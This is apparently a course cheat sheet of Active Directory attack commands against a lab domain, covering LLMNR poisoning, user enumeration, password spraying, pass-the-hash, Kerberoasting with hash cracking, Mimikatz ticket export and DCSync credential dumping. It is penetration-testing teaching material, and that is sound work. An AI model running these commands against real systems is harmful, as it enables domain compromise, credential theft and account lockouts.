Used to start responding to & analyzing `LLMNR`, `NBT-NS` and `MDNS` queries on the interface specified proceeding the `-I` option and operating in `Passive Analysis` mode which is activated using `-A`. Performed from a Linux-based host

```
sudo responder -I ens224 -A
```

Uses `git` to clone the kerbrute tool from a Linux-based host.

```
sudo git clone https://github.com/ropnop/kerbrute.git
```

Runs the Kerbrute tool to discover usernames in the domain (`INLANEFREIGHT.LOCAL`) specified proceeding the `-d` option and the associated domain controller specified proceeding `--dc` using a wordlist and outputs (`-o`) the results to a specified file. Performed from a Linux-based host.

```
./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results
```

Uses `hashcat` to crack `NTLMv2` (`-m`) hashes that were captured by responder and saved in a file (`frond_ntlmv2`). The cracking is done based on a specified wordlist.

```
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
```

Using the `Import-Module` PowerShell cmd-let to import the Windows-based tool `Inveigh.ps1`.

```
Import-Module .\Inveigh.ps1
```

Uses `ldapsearch` to enumerate the password policy in a target Windows domain from a Linux-based host.

```
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
```

Uses the Import-Module cmd-let to import the `PowerView.ps1` tool from a Windows-based host.

```
Import-Module .\PowerView.ps1
```

Uses rpcclient to discover user accounts in a target Windows domain from a Linux-based host.

```
rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomuser
```

Uses `CrackMapExec` to discover users (`--users`) in a target Windows domain from a Linux-based host.

```
crackmapexec smb 172.16.5.5 --users
```

Uses `ldapsearch` to discover users in a target Windows doman, then filters the output using `grep` to show only the `sAMAccountName` from a Linux-based host.

```
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
```

Uses the python tool `windapsearch.py` to discover users in a target Windows domain from a Linux-based host.

```
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
```

Bash one-liner used to perform a password spraying attack using `rpcclient` and a list of users (`valid_users.txt`) from a Linux-based host. It also filters out failed attempts to make the output cleaner.

```
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
```

Uses `kerbrute` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host.

```
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
```

Uses `CrackMapExec` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host. It also filters out logon failures using `grep`.

```
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
```

Uses `CrackMapExec` to validate a set of credentials from a Linux-based host.

```
sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123
```

Uses `CrackMapExec` and the -`-local-auth` flag to ensure only one login attempt is performed from a Linux-based host. This is to ensure accounts are not locked out by enforced password policies. It also filters out logon failures using `grep`.

```
sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
```

Used to import the PowerShell-based tool `DomainPasswordSpray.ps1` from a Windows-based host.

```
Import-Module .\DomainPasswordSpray.ps1
```

Performs a password spraying attack and outputs (-OutFile) the results to a specified file (`spray_success`) from a Windows-based host.

```
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
```

Authenticates with a Windows target over `smb` using valid credentials and attempts to discover more users (`--users`) in a target Windows domain. Performed from a Linux-based host.

```
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users
```

Authenticates with a Windows target over `smb` using valid credentials and attempts to discover any smb shares (`--shares`). Performed from a Linux-based host.

```
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
```

Enumerates the target Windows domain using valid credentials and performs a recursive listing (`-R`) of the specified share (`SYSVOL`) and only outputs a list of directories (`--dir-only`) in the share. Performed from a Linux-based host.

```
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only
```

Discovers user accounts in a target Windows domain and their associated relative identifiers (`rid`). Performed from a Linux-based host.

```
rpcclient $> enumdomusers
```

Used to perform a recursive search (`-PU`) for users with nested permissions using valid credentials. Performed from a Linux-based host.

```
python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 -PU
```

Executes the python implementation of BloodHound (`bloodhound.py`) with valid credentials and specifies a name server (`-ns`) and target Windows domain (`inlanefreight.local`) as well as runs all checks (`-c all`). Runs using valid credentials. Performed from a Linux-based host.

```
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
```

Loads the `Active Directory` PowerShell module from a Windows-based host.

```
Import-Module ActiveDirectory
```

PowerShell cmd-let used to gather Windows domain information from a Windows-based host.

```
Get-ADDomain
```

PowerView script used tol return the AD object for the current (or specified) domain. Performed from a Windows-based host.

```
Get-Domain
```

PowerView script used to return a list of the target domain controllers for the specified target domain. Performed from a Windows-based host.

```
Get-DomainController
```

PowerView script used to find object `ACLs` in the domain with modification rights set to non-built in objects. Performed from a Windows-based host.

```
Find-InterestingDomainAcl
```

KERBEROASTING

Kerberoasting

Impacket tool used to get a list of `SPNs` on the target Windows domain from a Linux-based host.

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday
```

Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (`-outputfile sqldev_tgs`) linux-based host.

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev
-outputfile sqldev_tgs
```

Attempts to crack the Kerberos (`-m 13100`) ticket hash (`sqldev_tgs`) using `hashcat` and a wordlist (`rockyou.txt`) from a Linux-based host.

```
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force
```

`Mimikatz` command that ensures TGS tickets are extracted in `base64` format from a Windows-based host.

```
mimikatz # base64 /out:true
```

`Mimikatz` command used to extract the TGS tickets from a Windows-based host.

```
kerberos::list /export
```

Uses PowerView tool to extract `TGS Tickets` . Performed from a Windows-based host.

```
Import-Module .\PowerView.ps1 Get-DomainUser * -spn | select samaccountname
```

Used to view the options and functionality possible with the tool `Rubeus`. Performed from a Windows-based host.

```
.\Rubeus.exe
```

Used to check the kerberoast stats (`/stats`) within the target Windows domain from a Windows-based host.

```
.\Rubeus.exe kerberoast /stats
```

Used to request/download a TGS ticket for a specific user (`/user:testspn`) the formats the output in an easy to view & crack manner (`/nowrap`). Performed from a Windows-based host.

```
.\Rubeus.exe kerberoast /user:testspn /nowrap
```

ACL

ACL enumeration

PowerView tool used to find object ACLs in the target Windows domain with modification rights set to non-built in objects from a Windows-based host.

```
Find-InterestingDomainAcl
```

Used to import PowerView and retrieve the `SID` of a specific user account (`wley`) from a Windows-based host.

```
Import-Module .\PowerView.ps1 $sid = Convert-NameToSid wley
```

Used to find all Windows domain objects that the user has rights over by mapping the user's `SID` to the `SecurityIdentifier` property from a Windows-based host.

```
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

MORE

DCSync

PowerView tool used to view the group membership of a specific user (`adunn`) in a target Windows domain. Performed from a Windows-based host.

```
Get-DomainUser -Identity adunn | select
samaccountname,objectsid,memberof,useraccountcontrol |fl
```

Impacket tool sed to extract NTLM hashes from the NTDS.dit file hosted on a target Domain Controller (`172.16.5.5`) and save the extracted hashes to an file (`inlanefreight_hashes`). Performed from a Linux-based host.

```
secretsdump.py -outputfile inlanefreight_hashes -just-dc
INLANEFREIGHT/adunn@172.16.5.5 -use-vss
```

Uses `Mimikatz` to perform a `dcsync` attack from a Windows-based host.

```
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL
/user:INLANEFREIGHT\administrator
```

Privileged Access

Used to establish a PowerShell session with a Windows target from a Linux-based host using `WinRM`.

```
evil-winrm -i 10.129.201.234 -u forend
```

Trust Relationships - Cross-Forest

PowerView tool used to enumerate accounts for associated `SPNs` from a Windows-based host.

```
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
```

PowerView tool used to enumerate the `mssqlsvc` account from a Windows-based host.

```
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select
samaccountname,memberof
```

Uses `Rubeus` to perform a Kerberoasting Attack against a target Windows domain (`/domain:FREIGHTLOGISTICS.local`) from a Windows-based host.

```
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
```

PowerView tool used to enumerate groups with users that do not belong to the domain from a Windows-based host.

```
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
```

PowerShell cmd-let used to remotely connect to a target Windows system from a Windows-based host.

```
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
```

Impacket tool used to request (`-request`) the TGS ticket of an account in a target Windows domain (`-target-domain`) from a Linux-based host.

```
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
```

Runs the Python implementation of `BloodHound` against a target Windows domain from a Linux-based host.

```
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
```

Used to compress multiple files into 1 single `.zip` file to be uploaded into the BloodHound GUI.

```
zip -r ilfreight_bh.zip *.json
```